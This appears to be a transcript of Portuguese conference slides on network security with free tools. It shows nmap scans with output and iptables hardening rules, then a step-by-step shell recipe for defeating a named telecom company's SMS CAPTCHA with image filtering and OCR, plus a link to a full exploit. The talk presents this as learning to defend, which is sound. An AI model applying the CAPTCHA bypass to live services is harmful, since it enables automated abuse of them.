- Hack N` Roll

Transcrição

- Hack N` Roll
(In)segurança
Utilizando Software
Livre
Maycon Maia Vitali
[email protected]
Agenda
Introdução
Ferramentas
nmap – Scanner de rede
iptables – Firewall
p0c – Proof of Concept
Quem sou eu?
Porque aprender sobre (in)segurança?
Quebra de Captcha (Empresa ***)
Concusão
Quem é esse cara?
Maycon Maia Vitali
Estudante de Ciência da Computação
Não tem previsão te término do curso
Não tem certificação Microsoft
Não tem certificação Linux
Não tem certificação CISCO
Não tem certificação em DB
Não tem certificação em SANS
Que é esse cara? (Parte II)
Autodidata em segurança da informação
(TCP/IP e vulnerabilidades, Sistemas
Operacionais, etc)
Escritor de artigos e tutoriais
Desenvolvedor de ferramentas de
segurança
Palestrante em diversos eventos do ramo
aka 0ut0fBound
Por que aprender sobre (in)segurança?
Permite antecipar-se ao “intruso”
Se souber como uma falha funciona,
conseguirá impedi-la.
Se souber o que o vírus faz conseguirá
removê-lo
Hoobie
Ferramentas
Nmap, iptables, snort
nmap
O nmap é uma ferramenta livre que realiza port
scan.
Com ele é possível fazer levantamento de
informações e serviços em uma rede.
Considerado o melhor scanner de redes da
atualidade.
É amplamente utilizado por pen-testers e
empresas de seguranças.
Trabalhar com diversos tipos e técnicas de
scanning.
nmap – Parâmetros introdutórios
-p
O parametro –p é utilizado para definir quais portas ou
intervalo de portas será verificado pelo nmap.
Ex:
-v / -vv / -vvv
-p 21,22,23,80
-p 1-65535
Habilita o modo verbose de output
-P0
Não verifica se o host está ativo atravéz de ICMP
Request (PING)
nmap – Connect Scan
Trabalha com o método de scan por conexão
utilizando interface socket()
Não necessita de privilégios de super-usuário
(r00t)
Fácil de ser detectada
Opção -sT
nmap – Connect Scan
$ nmap -sT -p 8080 -P0 192.168.1.1
Starting Nmap 4.20 ( http://insecure.org ) Interesting ports on 192.168.1.1:
PORT STATE SERVICE
8080/tcp filtered http-proxy
MAC Address: 00:13:10:F9:3D:4F (Cisco-Linksys)
Nmap finished: 1 IP address (1 host up) scanned in 28.752 seconds
$
nmap – Syn Scan
Trabalha apenas com o primeiro passo do TreeWay Handshake
É necessário de privilégios de super-usuário
(r00t)
Possui certas dificuldades de serem identificados
esse tipo de Scan
Opção -sS
Nmap – Syn Scan
$ nmap -sS -p 8080 -P0 192.168.1.1
Starting Nmap 4.20 ( http://insecure.org ) Interesting ports on 192.168.1.1:
PORT STATE SERVICE
8080/tcp closed http-proxy
MAC Address: 00:13:10:F9:3D:4F (Cisco-Linksys)
Nmap finished: 1 IP address (1 host up) scanned in 17.596 seconds
$
Nmap – Service Discovery
Funciona através de base de assinaturas.
Não é 100% confiável
Opção -sV
Nmap – Service Discovery
$ nmap -sV -P0 192.168.1.1
Starting Nmap 4.20 ( http://insecure.org ) Interesting ports on 192.168.1.1:
Not shown: 1696 closed ports
PORT STATE SERVICE VERSION
443/tcp open ssl OpenSSL
MAC Address: 00:13:10:F9:3D:4F (Cisco-Linksys)
Nmap finished: 1 IP address (1 host up) scanned in 25.457 seconds
$
Nmap – OS Detection
Utilizado para identificar o tipo do sistema
operacional e
Nmap – OS Detection
$ nmap -P0 -O 192.168.1.1
...
PORT STATE SERVICE
443/tcp open https
...
Device type: general purpose|WAP|storage-misc
Running: Linux 2.4.X, Linksys Linux 2.4.X, Asus Linux 2.4.X, Maxtor Linux
2.4.X
OS details: Linux 2.4.20 - 2.4.32, Linux-based embedded device (Linksys
WRT54GL WAP, Buffalo AirStation WLA-G54 WAP, Maxtor
SharedStorage Drive, or Asus Wireless Storage Router)
$
Nmap – OS Detection / Version
Detection
Apenas uma atalho para os comandos –O
e –sV
Opção -A
Nmap – OS Detection / Version
Detection
$ nmap -A 192.168.1.1
Starting Nmap 4.20 ( http://insecure.org ) at 2007-11-10 16:38 Horßrio brasileiro de verÒo
Interesting ports on 192.168.1.1:
Not shown: 1696 closed ports
PORT STATE SERVICE VERSION
443/tcp open ssl OpenSSL
MAC Address: 00:13:10:F9:3D:4F (Cisco-Linksys)
Device type: general purpose|WAP|storage-misc
Running: Linux 2.4.X, Linksys Linux 2.4.X, Asus Linux 2.4.X, Maxtor Linux 2.4.X
OS details: Linux 2.4.20 - 2.4.32, Linux-based embedded device (Linksys WRT54GL WAP, Buffalo
AirStation WLA-G54 WAP, Maxtor Shared Storage Drive, or Asus Wireless Storage Router)
Uptime: 0.067 days (since Sat Nov 10 15:02:30 2007)
Network Distance: 1 hop
OS and Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/ .
Nmap finished: 1 IP address (1 host up) scanned in 25.577 seconds
$
iptables
Firewall nativo do Linux e baseado no
netfilter
Melhor recomendação para ambientes
Linux
Trabalha com bloqueio de pacotes, NAT
entre outras caracteristicas
iptables – Sintaxe Básica
iptables –A [direção] [opcoes] –j [ação]
iptables – Sintaxe Básica
–A [direcao] INPUT / OUTPUT / FORWAING
-j [acão] DROP / ACCEPT
[opções] -s [endereço de origem]
-d [endereço de destino]
-p [protocolo]
TCP:
--sport [porta de origem]
--dport [porta de destino]
ICMP:
--icmp-type [tipo de mensagem ICMP] (Ex: 8 = PING)
iptables – Algumas regras
# Proteção contra Syn-flood
iptables -A INPUT -p tcp --syn -m limit --limit 1/s -j ACCEPT
# Proteção contra port scanner
iptables -A INPUT -p tcp --tcp-flags SYN,ACK,FIN,RST RST -m limit \
--limit 1/s -j ACCEPT
# Proteção contra o ping da morte
iptables -A INPUT -p icmp --icmp-type echo-request -m limit \
--limit 1/s -j ACCEPT
# Proteção contra pacotes danificados ou suspeitos
iptables -A INPUT -m unclean -j DROP
p0c
Proof of Concept
Breaking the OI Captcha
NetPBM
É um conjunto de ferramentas para
manipulação de imagens gráficas.
O ataque – Parte 1
$ wget http://torpedo.oiloja.com.br/captcha.jsp
O ataque – Parte 2
$ pngtopnm captcha.jsp.pgn > captcha.jps.pnm
O ataque – Parte 3
$ ppmchange white black captcha.jsp.pnm > captcha.jps-2.pnm
O ataque – Parte 4
$ ppmchange captcha.jps-2.pnm \
-remainder black \
-closeness $rate rgbi:.91/.8/.58 white rgbi:.8/.8/.91 white | \
ppmchange rgbi:.69/.91/.91 white \
ppmtopgm | $pgmenhance | $pgmtopbm > captcha.jps-3.pnm
O ataque – Parte 5
$ ocrad -c ascii captcha.jps-3.pnm
pgaI
$
O ataque – Conclusão
Exploit por Pablo Ximenes:
http://0ut0fbound.ath.cx/sms.txt
Conclusão
SEM DÚVIDAS!!!
Maycon Maia Vitali aka 0ut0fBound
[email protected]